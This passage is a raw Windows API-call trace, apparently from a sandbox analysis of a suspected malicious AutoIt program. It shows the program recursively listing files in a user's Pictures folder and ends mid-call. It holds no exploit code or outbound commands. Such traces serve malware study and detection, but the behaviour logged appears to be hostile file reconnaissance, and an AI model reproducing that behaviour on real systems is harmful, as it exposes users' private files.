lpBuffer="C:\\Users\\CIiHmnxMn6Ps") returned 0x15 [0059.824] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", cchCount1=30, lpString2="", cchCount2=0) returned 3 [0059.824] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.824] CharUpperBuffW (in: lpsz="_FILELISTTOARRAYREC", cchLength=0x13 | out: lpsz="_FILELISTTOARRAYREC") returned 0x13 [0059.825] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.825] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0059.825] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.825] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.825] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.825] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.825] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.825] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.825] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.825] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.825] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.825] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.825] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0059.825] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.826] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.827] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.827] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.827] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*.*", cchCount1=3, lpString2="*", cchCount2=1) returned 3 [0059.827] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.827] CharUpperBuffW (in: lpsz="__FLTAR_LISTTOMASK", cchLength=0x12 | out: lpsz="__FLTAR_LISTTOMASK") returned 0x12 [0059.827] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0059.827] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0059.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*.*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0059.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0059.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0059.827] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0059.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*\\.*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0059.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\.*", cchCount1=1, lpString2="?", cchCount2=1) returned 3 [0059.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0059.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0059.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*\\.*", cchCount1=1, lpString2="*", cchCount2=1) returned 2 [0059.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\.*", cchCount1=1, lpString2="*", cchCount2=1) returned 3 [0059.828] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2="*", cchCount2=1) returned 3 [0059.828] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2="*", cchCount2=1) returned 2 [0059.828] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0059.828] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0059.828] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.828] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.828] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.829] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.829] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.829] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.829] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0059.829] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.830] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.830] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.830] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.830] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.830] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.830] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.830] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.830] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.830] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.831] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.831] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.831] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.831] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.831] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.831] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.831] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.831] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.832] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.832] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.832] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.832] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.832] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.832] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.832] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.832] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.833] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.834] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.834] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0059.834] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.834] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.834] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.834] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.834] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.834] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.834] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.834] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.834] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.834] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.835] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.835] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.835] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.835] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.835] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.835] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.835] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RD", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0059.835] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0059.835] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.835] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.835] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.835] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.835] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.835] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.836] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.836] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.836] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.836] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.836] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.836] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.836] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.837] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.837] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.837] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.837] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.837] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.837] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.838] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.838] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.838] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.838] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.838] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.838] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.838] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.838] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.838] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.838] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.839] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.839] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.839] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.839] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.839] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ASH", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SH", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0059.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0059.839] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.839] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.840] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.840] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.840] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 